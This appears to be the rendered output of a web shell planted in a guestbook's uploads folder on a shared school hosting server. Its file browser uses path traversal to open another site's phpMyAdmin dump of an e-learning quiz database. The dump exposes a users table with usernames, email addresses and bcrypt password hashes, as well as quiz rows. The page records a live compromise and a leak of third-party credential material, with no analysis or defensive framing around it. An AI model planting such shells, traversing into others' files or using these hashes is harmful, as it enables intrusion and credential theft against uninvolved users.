🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ./../../../../583521.klas4s23.mid-ica.nl/public_html/e-learing/e-learning.sql

-- phpMyAdmin SQL Dump
-- version 5.2.1
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Gegenereerd op: 22 jan 2025 om 10:20
-- Serverversie: 10.4.32-MariaDB
-- PHP-versie: 8.0.30

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Database: `e-learning`
--

-- --------------------------------------------------------

--
-- Tabelstructuur voor tabel `lists`
--

CREATE TABLE `lists` (
  `id` int(11) NOT NULL,
  `name` varchar(255) NOT NULL,
  `mode` varchar(50) DEFAULT NULL,
  `questions` text NOT NULL,
  `answers` text NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
  `user_id` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Gegevens worden geëxporteerd voor tabel `lists`
--

INSERT INTO `lists` (`id`, `name`, `mode`, `questions`, `answers`, `created_at`, `user_id`) VALUES
(51, 'normale quiz', 'openbaar', '[\"aap\",\"kaas\",\"chocolade\"]', '[\"monkey\",\"cheese\",\"chocolate\"]', '2024-12-11 07:53:23', 2),
(56, 'vdsv', 'privé', '[\"svd\"]', '[\"svd\"]', '2025-01-13 11:45:57', 2),
(57, 'Nieuw', 'privé', '[\"nieuw\"]', '[\"new\"]', '2025-01-13 12:58:19', 2),
(59, 'kg', '', '[\"asdf\"]', '[\"ghjk\"]', '2025-01-20 11:53:14', 7),
(60, 'peter\'s quiz', 'openbaar', '[\"hond\",\"wow\"]', '[\"dog\",\"wow\"]', '2025-01-21 12:55:43', 2);

-- --------------------------------------------------------

--
-- Tabelstructuur voor tabel `users`
--

CREATE TABLE `users` (
  `id` int(11) NOT NULL,
  `username` varchar(50) NOT NULL,
  `email` varchar(100) NOT NULL,
  `password` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Gegevens worden geëxporteerd voor tabel `users`
--

INSERT INTO `users` (`id`, `username`, `email`, `password`) VALUES
(2, 'admin', 'test@test.nl', '$2y$10$8OIapJzuS75Vz2c8Qr53EeTeAOPRuEnBvX9ZDrptpXN1lTOduf/Oi'),
(3, 'bv', 'dixif90761@lanxi8.com', '$2y$10$jH/e643gz8Vg4TwHo3PaFO6ONjWwEZGmEMGpsV57DxmPiwfgC0UVW'),
(4, 'nb', 'gsdgsdfg@gmail.com', '$2y$10$7Sq2LADFqo8fxcWdBtzXPO/5jhR1XXcp1IpHDYQbHr6o/937FFYBK'),
(5, '123', '123@123', '$2y$10$7VySsINMUskspqqeHjq2Z.MtbfnlzbwvF5zgnVihO8ymVjqUevrDO'),
(6, 'ops', 'ops@ops.nl', '$2y$10$79nN0HMDT3MWG8U6aornwO1HrDHtTJdVG8FQuF2ZM9kguAycBByMO'),
(7, 'qw', 'qw@qw.net', '$2y$10$5SqbwgygjG9u2RKPs.tXMegthCzZN7ag4nTVVzGO0Ccu6FR9rGeuW'),
(9, 'info', 'info@info.nl', '$2y$10$Qjlfez6gQxy7y0xqiRKBqOB2AJJmCaTIzUokXXJYwe6hvrvnaf2ve'),
(10, 'bb', 'bb@bb.nl', '$2y$10$.zqRHnAFL6s6S0yOgUUYn.gMEBd9ZxYeS7DaT7OAOlOIldVW365Le'),
(11, 'bbcv', 'b@b.nl', '$2y$10$kXLIIqZLxuPuk5C2OrB8KOR/0RbomB4fKC3Ns.7nhRIjlGOGavq7G'),
(12, 'asdfasdfdf', 'hallo@hallo.com', '$2y$10$g7vddaExdHs4iJNoO3c/BedVfB4A202y9.2/tVBExO7.akFcBTudG');

--
-- Indexen voor geëxporteerde tabellen
--

--
-- Indexen voor tabel `lists`
--
ALTER TABLE `lists`
  ADD PRIMARY KEY (`id`);

--
-- Indexen voor tabel `users`
--
ALTER TABLE `users`
  ADD PRIMARY KEY (`id`);

--
-- AUTO_INCREMENT voor geëxporteerde tabellen
--

--
-- AUTO_INCREMENT voor een tabel `lists`
--
ALTER TABLE `lists`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=61;

--
-- AUTO_INCREMENT voor een tabel `users`
--
ALTER TABLE `users`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13;
COMMIT;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

🎯 Available Actions